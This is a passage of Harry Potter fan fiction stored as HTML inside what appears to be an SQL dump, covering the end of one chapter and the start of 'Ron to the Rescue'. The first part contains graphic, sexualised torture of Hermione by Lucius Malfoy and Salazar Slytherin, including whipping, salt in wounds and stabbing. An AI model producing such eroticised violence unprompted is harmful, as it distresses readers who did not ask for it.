Harry did was glare at him.&nbsp; &#8220;I&#8217;m sure now you know why we put you in this particular cell.&#8221;&nbsp; </p>\n\n<p>Harry heard the start of Hermione&#8217;s voice and his palms slammed over his ears again; he squeezed his eyes tightly as a few silent tears fell from his eyes.&nbsp; He rocked back and forth against the wall. If he leaned up against the wall he could feel the vibrations of Hermione&#8217;s screams.&nbsp; The whole room vibrated when she wailed, the floor even shook.&nbsp; So every time she made a noise he would have to rock back and forth to try and block out the sounds and vibrations.&nbsp; The rocking helped him with the vibrations, but her screams still fought their way into his ears.&nbsp; The screaming ceased and he dropped his hands from his ears.&nbsp; He opened his eyes and found Voldemort had a very pleased statement on his face.</p>\n\n<p>&#8220;This cell is specially built; it echoes anything from the main room ten fold.&nbsp; This room tortures victims also just in a different way, as I&#8217;m sure you are experiencing.&#8221; Voldemort said tilting his head to the side a bit.&nbsp; &#8220;You know this all could have been avoided if she would have just agreed, I don&#8217;t see why you have to suffer for her mistake.&#8221;</p>\n\n<p>Harry just glared.</p>\n\n<p>&#8220;I mean it&#8217;s her fault that you are in this situation.&#8221;</p>\n\n<p>&#8220;It is not her fault.&#8221; Harry said while continuing to glare.&nbsp; </p>\n\n<p>&#8220;If you convince her to use the scepter I&#8217;m sure this will all stop.&#8221; Voldemort said with a smile.</p>\n\n<p>&#8220;I will not convince her to do anything.&#8221;</p>\n\n<p>&#8220;Do you want her to use it now?&#8221; Voldemort straightened his posture.</p>\n\n<p>Harry heard Hermione&#8217;s scream start and once again his palms slammed over his ears, this time he buried his head in between his knees as he rocked back and forth trying to keep the sounds out.&nbsp; As much as he would want all of this to stop, he knows that she would never agree to anything like that just to save herself.&nbsp; She would put herself before anyone.&nbsp; And he would do the same. </p>\n\n<p>He brought his hands down again glaring at Voldemort, &#8220;not if it meant putting anyone in danger.&#8221;</p>\n\n<p>&#8220;Stubborn fools.&#8221; Voldemort glared down as he watched Harry slam his palms against his ears.&nbsp; He opened the door to the cell and quickly left through it, he slammed the door leaving Harry all alone inside the cell as the screams came louder and more quickly.&nbsp; Harry now heard a loud snapping sound then a loud yell of pain, plus a glass-shattering scream.</p>\n\n<p>Hermione was now face down on a long wooden table, her wrists and ankles still bound to poles sticking up from four corners of the table.&nbsp; Her shirt had been sliced down the back so that it was open and her back was exposed, there were at least thirty long gashes upon her back, which were bleeding.&nbsp; Lucius poured some salt crystals into his hand and rubbed his palm into her new fresh wound. Hermione screamed her pain loudly that it echoed off the walls.&nbsp; This caused Lucius to bend and run his tongue along her cut attempting to get to the salt, which also tasted of her sweet blood.</p>\n\n<p>Lucius stood, and lifted a whip in the air and brought it down on her back, She yelled in pain and gripped the sides of the table with her hands. He placed the salt crystals in his hand again, rubbing his palm into her new cut.&nbsp; He took in a breath as he planted his palms on her back, on his fingers he wore little thimbles with sharp tips, He traced the areas that had not been touched by the whip with his fingertips, digging the sharp tips deeply into her skin, they didn&#8217;t go in deep but it hurt an awful lot as she bit her lip trying not to yell out, since every time she did scream it seemed to make him do other things to her as well. </p>\n\n<p>His hands roughly traveled down her back and he leaned closer to her ear, &#8220;You should just agree and all this would be over.&#8221; He bit down onto her ear which caused her to yelp, and she heard him harshly breathe in. &#8220;I enjoy it more when you scream.&#8221; He said into her ear.&nbsp; She shut her eyes tightly. Lucius went over to stand in front of her, his hands cupping her face and his thimble like fingers dug into the sides of her face.&nbsp; He lifted her face so he could look at her.&nbsp; Small trails of blood were flowing from where he fingers were digging into her.&nbsp; &#8220;You are a beautiful sight looking like this, all bound and sliced up.&nbsp; It makes me want to do more to you, and I normally don&#8217;t lust after Mudbloods.&#8221;&nbsp; Hermione tried to pull her face away from his hands but he held on tighter and his fingers dug in deeper into the sides of her face, and he scrapped them up her cheeks leaving long lines of red blood in the trails his fingers made.&nbsp; She let out a small cry and regretted it immediately, just as he inched closer to her the door opened and Salazar walked in.&nbsp; </p>\n\n<p>Salazar walked over and glanced at Lucius and Hermione, he stepped up to the table. &#8220;So how is it going?&#8221;</p>\n\n<p>&#8220;Fine sir.&#8221; Lucius said releasing his hold on Hermione&#8217;s face.</p>\n\n<p>Nodding, Salazar looked down at Hermione, who looked weak and broken.&nbsp; &#8220;Have we decided?&#8221; </p>\n\n<p>Hermione looked up at him, &#8220;No matter what you do to me I will never agree to use the scepter for you.&#8221;</p>\n\n<p>&#8220;I grow impatient wench.&#8221;&nbsp; Salazar snarled and picked up the whip, he waved it high in the air and brought it down on Hermione&#8217;s back with such a force that her body moved as the air was hit with her blood-curdling scream. He brought it down again and again that it made much bigger deeper gashes into her back.&nbsp; Death Eaters in the background cowered away from a very evil looking Salazar Slytherin as he continued to bring the whip down on her, again and again never relenting in the power of each blow. &#8220;You will agree!&#8221; Salazar shouted.&nbsp; The whip came crashing down on her.</p>\n\n<p>&#8220;Never!&#8221; She yelled and screamed her pain at the same time.</p>\n\n<p>Salazar picked up the large knife and stuck it deep in between her shoulder blade and neck, not enough to kill her, but enough to make her scream out and fill the air with its horrifying echo.</p>\n\n<p>Hermione felt the blade being pulled from her shoulder; she couldn&#8217;t help but feel very dizzy as the world was spinning rapidly before her.&nbsp; And then darkness.</p>\n\n<p>&#8220;Damn-it to Hell!&#8221; Salazar shouted in pure rage throwing the whip across the room.&nbsp; The whip hit a vase and it fell to the floor and shattered.</p>\n\n<p>&#8220;Is she dead?&#8221; Lucius asked looking at her really big gash that Salazar made.</p>\n\n<p>&#8220;No the wench is not dead.&nbsp; Passed out the little fool.&#8221; Salazar said.&nbsp; &#8220;Now she won&#8217;t feel a damn bloody thing we do to her.&#8221;&nbsp; He went and sat down in his throne, &#8220;it will be at least a few days before we can continue.&#8221;&nbsp; Salazar rubbed his sinuses.&nbsp; &#8220;She will need to heal up and then we can begin again.&nbsp; We will torture her until she agrees, next time we&#8217;ll bring out the bigger guns so to speak.&nbsp; No more of this flittering around and such nonsense.&nbsp; It&#8217;s been proven that this woman is as stubborn as the day she died.&nbsp; We will get her to use the scepter and the world will belong to me.&nbsp; Take her to the cell that we put the other prisoner in, I would sure like to see the look on his face when he sees what we&#8217;ve done to her.&#8221; Salazar smirked.</p>\n\n<p>Lucius nodded and went to un-bind her hands and ankles, Lucius lifted the unconscious girl into his arms and started carrying her from the room.</p>\n\n<p>&#8220;And no funny business, you can have her after I get the power.&#8221; Salazar said before Lucius was gone from the room.&nbsp; If he had to suffer and wait so was everyone else</p>\n\n<p>Lucius growled in discontent, but obeyed.&nbsp; He carried her through the hall and stopped at the cell.&nbsp; Wormtail was standing outside the door opened it for Lucius who stepped into the cell.</p>\n\n<p>Harry immediately stood upon seeing Hermione as Lucius lowered her to the ground. Still kneeling he fingered the marks he had made on her neck. &#8220;These were fun to make.&#8221; He smirked looking up at Harry, &#8220;you should feel lucky this sweet tasting girl belongs to you.&#8221;</p>\n\n<p>Harry&#8217;s fist clinched at his sides, &#8220;What did you do to her?&#8221; He demanded.</p>\n\n<p>Lucius stood and smirked, not saying a word he turned and stalked out of the cell slamming the door after him.&nbsp; </p>\n\n<p>Harry fell to his knees next to her unconscious body, as his eyes traveled all about her.&nbsp; Tears swelled in his eyes at the sight of her body, arms, legs covered in huge gashes and several of them were still bleeding.&nbsp; He sat down against the wall and pulled her so that she was halfway lying in his lap, he bent and practically laid himself upon her as if to shield her from the world. He lifted up her hand and noticed her fingernail-less; he still held her hand tightly as he silently cried into her hair.</p>\n\n<p>A few minutes later the cell door opened and a lone Death Eater walked in carrying a tray with a bowl of some foul smelling liquid and some cloths, draped over the Death Eaters arm was a black robe.&nbsp; Harry looked up as the Death Eater neared him; he put his arms around Hermione tighter.</p>\n\n<p>&#8220;Stay away from her.&#8221; He didn&#8217;t shout but his voice still held a dominant tone.</p>\n\n<p>&#8220;I&#8217;m not going to hurt her.&#8221; The voice behind the mask said, &#8220;I&#8217;m going to start the healing process.&#8221;</p>\n\n<p>&#8220;Why bother trying to heal her?&#8221; Harry was bitter, but he noticed the voice behind the mask sounded feminine, but slightly aged.</p>\n\n<p>&#8220;I have to heal her, so that they may begin again in a few days.&#8221; She said.</p>\n\n<p>Harry swung his fist at the Death Eater almost connecting with her shin, he didn&#8217;t care if it was woman in that disguise.&nbsp; She was just as much a killer as a man. &#8220;No, I said to stay away.&nbsp; You will not touch her.&#8221;</p>\n\n<p>&#8220;Listen boy I&#8217;m just doing my job all right, and besides its most likely if I don&#8217;t start the healing process, she will die from lack of blood.&nbsp; That damn Malfoy practically sucked the life right out of her, and I mean that literally.&#8221; She said bitterly.</p>\n\n<p>Harry&#8217;s eyes narrowed, &#8220;You will not touch her. I will do it.&#8221;&nbsp; He said pointing to the tray in the Death Eaters hands.</p>\n\n<p>&#8220;As you wish.&#8221; She said and sat the tray down next to Harry.&nbsp; &#8220;I&#8217;ll just stick around in case you need help.&#8221;</p>\n\n<p>Harry felt stupid, he didn&#8217;t know where to begin he never healed anyone before.&nbsp; It was times like this he wished Ginny were here.</p>\n\n<p>The Death Eater could see his lack of confidence in healing.&nbsp; &#8220;It&#8217;s really very simple, soak one of the rags with the liquid and rub the liquid into her wounds.&#8221;</p>\n\n<p>Grabbing for one of the cloths Harry dipped it into the liquid and began rubbing it into her wounds.&nbsp; The Death Eater watched carefully as Harry was using the greatest of ease and pressed the liquid drenched cloth into the open wounds.&nbsp; Behind the mask the Death Eater smiled.</p>\n\n<p>Harry glanced up for a moment and noticed the Death Eater intently watching him, &#8220;Are you a nurse?&#8221;</p>\n\n<p>&#8220;Yes.&#8221; The Death Eater nodded, &#8220;I was a very good nurse at one time, until I decided to join the order.&nbsp; That was a really long time ago.&#8221;&nbsp; She glanced at the door, &#8220;Now apply that every four hours and she should recover in a few days.&#8221; The Death Eater stood and handed Harry the black robe.&nbsp; &#8220;Here she will need this.&#8221;&nbsp;&nbsp; The Death Eater neared the door.&nbsp; She heard the sounds of the cloth being wrung out. &#8220;Take care of her.&#8221; She said looking back at Harry.</p>\n\n<p>Harry glared up at the Death Eater, &#8220;I plan on not letting anyone hurt her ever again.&#8221; He said in pure anger and rage. &#8220;While there&#8217;s one breath left in my body no harm will ever come to her again.&#8221;&nbsp; He said firmly.&nbsp; When someone messed with his love they messed with him. </p>\n\n<p>The Death Eater left the cell and closed the door behind her, She leaned up against the door and Salazar rounded the corner.&nbsp; </p>\n\n<p>&#8220;Is she healing up?&#8221; Salazar asked.</p>\n\n<p>&#8220;Yes sir she is.&#8221;</p>\n\n<p>&#8220;Good.&#8221; He cleared his throat. &#8220;I&#8217;m retiring for the night, it has been a long day.&#8221; </p>\n\n<p>&#8220;Of course sir.&#8221; She said.&nbsp; And Salazar moved silently down the corridor heading into his Master Chambers.</p>\n\n<p>He poured himself a brandy and sat down in a chair near the fireplace.&nbsp; He heard noise behind him coming from the mirror.&nbsp; </p>\n\n<p>&#8220;Good evening.&#8221; The voice said echoing from the mirror.</p>\n\n<p>&#8220;Good evening indeed.&#8221; Salazar&#8217;s voice was full of sarcasm as he spoke without turning around to face the mirror, he knew who it was.</p>\n\n<p>&#8220;What&#8217;s the matter love?&#8221;</p>\n\n<p>&#8220;That damn wench is hard to break.&#8221; He gulped down some of his brandy; the fiery goodness ran down his throat.</p>\n\n<p>&#8220;They have it then?&#8221;</p>\n\n<p>Salazar smirked. &#8220;Yes.&#8221;</p>\n\n<p>&#8220;Excellent.&#8221;</p>\n\n<p>=======</p>\n\n<p>Oh no, Poor Hermione being tortured.&nbsp; I had cried like fifty times during that chapter I had to take like so many tear breaks, it was horrible. *sniff* Well I hope I didn&#8217;t disgust you all. But Lucius is one bad dude.&nbsp;&nbsp; He&#8217;s an evil pig, and don&#8217;t worry he&#8217;ll get his. Well I hope you stay tuned for Chapter 23&#8212;Ron to the Rescue.&nbsp; Okay Please Read and Review, even if you didn&#8217;t like my chapter, but remember I did warn you. Thanks Ryoko</p>\n\n<p>&nbsp; </p> '),
	(41, 23, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Disclaimer:\nAlright all the Harry Potter characters belong to J.K. Rowlings,\nexcept for the plot, Zara, Jewel, Enrique, Jasmine,\nUlrich, Torrin, Alina,, Leelee, Kai, Finley and Orvin.&nbsp; Those are mine. So please don&#8217;t sue me\nbecause I don&#8217;t have anything ;)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">Chapter 23&#8212;Ron To The Rescue</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Professor McGonagall smiled at the\nthought, &#8220;oh Rowena, what a time that must have been.&#8221; She said hiding her\nannoyance.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nthink you really would have loved it, it was a much simpler day and age.&nbsp; Although, I do like this\ntime period. I have been here a whole year and I discovered the most\ninteresting things about life.&#8221; Rowena leaned against the bed looking at the\nprofessor who was sitting behind the desk.&nbsp;\n&#8220;Especially the muggle way of living.&nbsp; They have a newer way to say things one word\ncan mean a whole phrase, and it&#8217;s really amazing.&nbsp; Do you think that the Wizarding world and the\nMuggle world will ever rejoin, you know become one world again?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Professor\nMcGonagall was about to say something when an eagle owl flew in through the\nopen window landing on the desk in front of her, she recognized the writing on\nthe envelope.&nbsp; She looked up at Rowena,\n&#8220;could you excuse me a moment Rowena, I have some business to take care of.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Rowena\nregarded McGonagall oddly. &#8220;Sure, no problem.&#8221;&nbsp; And she quickly then left the room.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Professor\nMcGonagall took the letter from the owl and she watched the bird fly out the\nwindow.&nbsp; She opened the letter quickly,\nher heart nearly dropped to her feet.&nbsp;\nShe stood abruptly from the chair and raced from the room.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp; Ron, Ginny and Draco were in a heated\nargument, the boys had their wands extended pointing them at one another, Draco\nhad just cursed him and Ron followed in suit. They each dogged the other&#8217;s\ncurse.&nbsp; Draco&#8217;s\nbody color changing curse was deflected by Ron and instead of hitting him, it\nhit the suit of armor behind him turning it bright pink with yellow poka-dots&nbsp;&nbsp; Ginny\ntugged on Ron&#8217;s arm both him and Draco turned to find Professor McGonagall\napproaching them in rapid speed, her face was etched in anger and worry. Ron\nwas ready to explain when their Professor just breezed by them as if she hadn&#8217;t\nseen them.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nthat was odd.&#8221; Ginny said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nand Draco both nodded</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Something\nmust be up for McGonagall to not give us a detention&#8221; Ron said. &#8220;Especially you Malfoy.&#8221;&nbsp; He smirked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Draco\nsimply glared at Ron with pure hate.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ginny\ngasped, &#8220;Maybe something is wrong, maybe You&#8212;Know&#8212;Who\nis coming.&#8221; She said looking wide eyed at her brother and then at Draco.&nbsp; &#8220;What are we gonna do, we&#8217;re all gonna die.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Draco\nput an arm around her to try and ease her mind. &#8220;Relax Ginny, we don&#8217;t know\nthat.&nbsp; Let&#8217;s not add to the gossip mill\nwith rumors of Dark Lords coming, all right?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nwhat else could it be of it&#8217;s not You&#8212;Know&#8212;Who?&#8221; Ron\nwas bitter, he glared at Draco mainly because that\nblonde haired git had his arm around his sister.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nif we want to know, we should follow after McGonagall and, spy.&#8221; Draco wagged\nhis brows at his suggestion of spy.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nagree,&#8221; Ginny announced. &#8220;Come on Draco, let&#8217;s go find out what&#8217;s going\non.&#8221;&nbsp; She saw Draco nod and the two of\nthem started down the corridor.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Ron decided to follow after them as well, they\nwere not aware of something following after them.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron&#8217;s\neyes narrowed as he saw Draco&#8217;s shoulder brush\nagainst Ginny&#8217;s every now and then.&nbsp; One\nof these days he was going to kill him.&nbsp;\nOh yes a very, very painful death.&nbsp;\nOne that involved Draco tied to a post in front of a dragons cave.&#8221;&nbsp; Ron chuckled lightly, what a fitting way for\nDraco the dragon to meet his end, trapped in a dragon&#8217;s cave waiting to be devoured\nby the very thing he was named after.&nbsp;\nRon chuckled again.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ginny\nheard Ron&#8217;s chuckle and turned slightly, &#8220;what&#8217;s so funny?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\ncouldn&#8217;t stop the cheesy grin from gracing his face. &#8220;Oh,\nnothing.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Draco\npulled on Ginny&#8217;s arm as McGonagal stopped at the\ngargoyle in front of Dumbledore&#8217;s room.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A\nsecond later the gargoyle moved out of the way and the professor went inside,\nDraco, Ginny and Ron watched as the gargoyle glided back in place. The three of\nthem moved in front of the stone statue.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Did\nwe bother to hear the password?&#8221; Ginny asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nI certainly didn&#8217;t.&#8221; Draco replied while looking at Ron for an answer.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Don&#8217;t\nlook at me, I have no clue.&#8221; Ron spat.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ginny\nrolled her eyes and just started naming things. &#8220;uh, ooey gooey worms, sour patch spiders, um Greasy Grimy\nGopher guts, French Fried Eye balls?&#8221;&nbsp;\nThe gargoyle moved away.&nbsp; &#8220;Eew gross what a horrible password.&#8221; Ginny commented\nfeeling slightly nauseated.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\nthree of them stepped into the hall that lead to Dumbledore&#8217;s room, the door\nwas open a crack And they all peered into the room the best they could\nlistening to Professor McGonagal&#8217;s voice as she\nspoke.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m\nnot surprised something like this happened, I mean of course Voldermort was just waiting around the corner for Mr. Potter\nand Miss Granger to appear with the Scepter.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What\ncan we do Albus, I&#8217;m so very worried.&#8221;&nbsp; McGonagal leaned\nforward in her chair leaning on the desk.&nbsp;\n&#8220;The letter said that the students are being&#8212;&#8221; she couldn&#8217;t finish the\nthought out loud, it was too painful to think about.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;We\nwill have to send someone to bring them back.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\ndon&#8217;t think that is such a good idea.&#8221; Rowena said floating in through a wall.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Rowena\nwhat were you doing there?&#8221; McGonagal looked shocked\nfor the first time in her life.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Minerva\nit is true I was eavesdropping, it&#8217;s just you left your room in such a state I\nhad to find out what the trouble was.&nbsp;\nAnd if had anything to do with Harry and Hermione I had to be part of\nit.&#8221; She then turned her attention to Dumbledore. &#8220;You can&#8217;t send someone in to\nbring them back. Slytherin is crafty, he&#8217;s not stupid.&nbsp; He knows that&#8217;s the first thing you would\ndo.&nbsp; Without a thought he would kill them\nbefore your Aurors got to them.&#8221; She paused a moment, &#8220;and I don&#8217;t want to see\nthat happening again.&#8221;&nbsp; She sighed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What\ndo you propose we do Rowena?&nbsp; Since you\nseem to know Salazar Slytherin so well&#8221; Dumbledore said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;From\nwhat I have seen and heard, your students are very resourceful. I wouldn&#8217;t be\nsurprised if they weren&#8217;t already on a plan of escape.&#8221; She said with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It\nis true that Miss Granger is in the top of her class, and Mr. Potter&#8217;s bravery\nout shines even in the darkest of times.&#8221; McGonagal\nsaid, &#8220;but this is different, those two need help,\nthey are in a lot of trouble.&nbsp; Salazar\nSlytherin has already,&#8221; She took a breath &#8220;Already tortured Miss Granger, and\nhe still plans on doing some more.&nbsp; I\nwon&#8217;t wait around here doing nothing.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Dumbledore\ninwardly smiled, there was reason why Minerva McGonagal was head of Gryffindor house.&nbsp; She has the bravery and a will to help those\nin need, and right now her students are in peril danger and she speaks from the\nheart. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Look\nMinerva I know you want to go to them, I know you want to help them. But this\nis a time where you just can&#8217;t.&nbsp; They are\non their own, there won&#8217;t always be someone to help\nthem in life.&#8221; Rowena said wanting to put a hand on her shoulder.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">McGonagal\neyed Rowena feeling slightly off about the ghost&#8217;s words &#8220;They need help, Miss Granger\nalmost died already. We must do something.&#8221; She turned looking at Dumbledore.\n&#8220;We can&#8217;t just wait around when they are in danger.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Dumbledore\nnodded, &#8220;We need some kind of plan.&#8221; He put his finger to his chin in thought. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ginny\nfelt the hot sting of tears swelling in her eyes she looked up at Ron and\nDraco, Ron had a far off look in his eye and she could have sworn that he, her\nbrother who never shed a tear was on the verge of losing his emotions. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nfelt his sister watching him he glanced down at her, &#8220;Hermione, was&#8212;&#8221; He spoke\nsoftly. &#8220;She&#8217;s so innocent, I can&#8217;t believe someone would do that to her?&#8221; He\ntook in a breath</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;How exactly does the Soul Scepter work\nRowena?&#8221; Dumbledore looked up at the ghost.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Rowena\nglanced about the room, then at Dumbledore &#8220;whoever&#8217;s soul is weaved into the\nscepter has complete control and can make the will of humanity do what ever the\nperson holding the scepter wants, it controls large numbers of people, muggles, squibs, witches, wizards. You name it; no one is safe\nfrom its control, if fallen into the wrong hands that is.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How\nis the soul woven into the scepter to begin with?&#8221; McGonagal\nasked while folding her arms across her chest.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That\nI don&#8217;t know, the only thing I know is that a piece of the person&#8217;s soul is\ntaken from them and turned into some kind of a jewel of sorts and then placed\non the rod.&#8221; Rowena shook her head. &#8220;That Merlin was crafty, only he knew how\nto do a Soul Weave.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">McGonagal\nsnapped her fingers in realization, &#8220;Albus, that\nnecklace we were checking for curses on, the one that Hermione had in her\npossession.&nbsp; Is that her soul?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Rowena\nspoke up, &#8220;no it can&#8217;t be Jasmine&#8217;s or Hermione&#8217;s soul because a part of hers\nis on the scepter right now, as we speak.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How\ndo you know that?&#8221; McGonagal said turning to face\nRowena.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nknow that because when my daughter hid the scepter she did not remove her soul\nfrom it, just in case something like Slytherin getting a hold of it would\narise.&nbsp; That way she still has complete\npower and even if she was dead, he would never be able to use it.&#8221; Rowena\nreplied as she hovered a bit like she were pacing and thinking.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It\nmust be a part of Torrin&#8217;s or now Harry&#8217;s.&#8221;&nbsp; Rowena shook her head as if trying to clear a\nmemory.&nbsp; &#8220;Torrin\nactually gave Jasmine a part of his soul.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ginny\nfelt something brush up against her leg, she glanced\ndown and at the last minute caught the waving tail of Hermione&#8217;s cat Crookshanks entering though the slightly open door.&nbsp; She watched the cat stop and start hissing at\nthe ghost.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">McGonagal\nlooked up at Rowena and then at the hissing Crookshanks.&nbsp; She went over and picked him up, holding the\ncat in her arms.&nbsp; McGonagal\nnoticed that Rowena was glaring at the cat.&nbsp;\n&#8220;What&#8217;s the matter Rowena, don&#8217;t you like cats?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nwasn&#8217;t really a cat person in life, I didn&#8217;t like them and they didn&#8217;t seem to\nlike me. I suppose it&#8217;s that way in the afterlife as well.&#8221; Rowena turned to\nDumbledore with a smile. &#8220;I&#8217;m more of 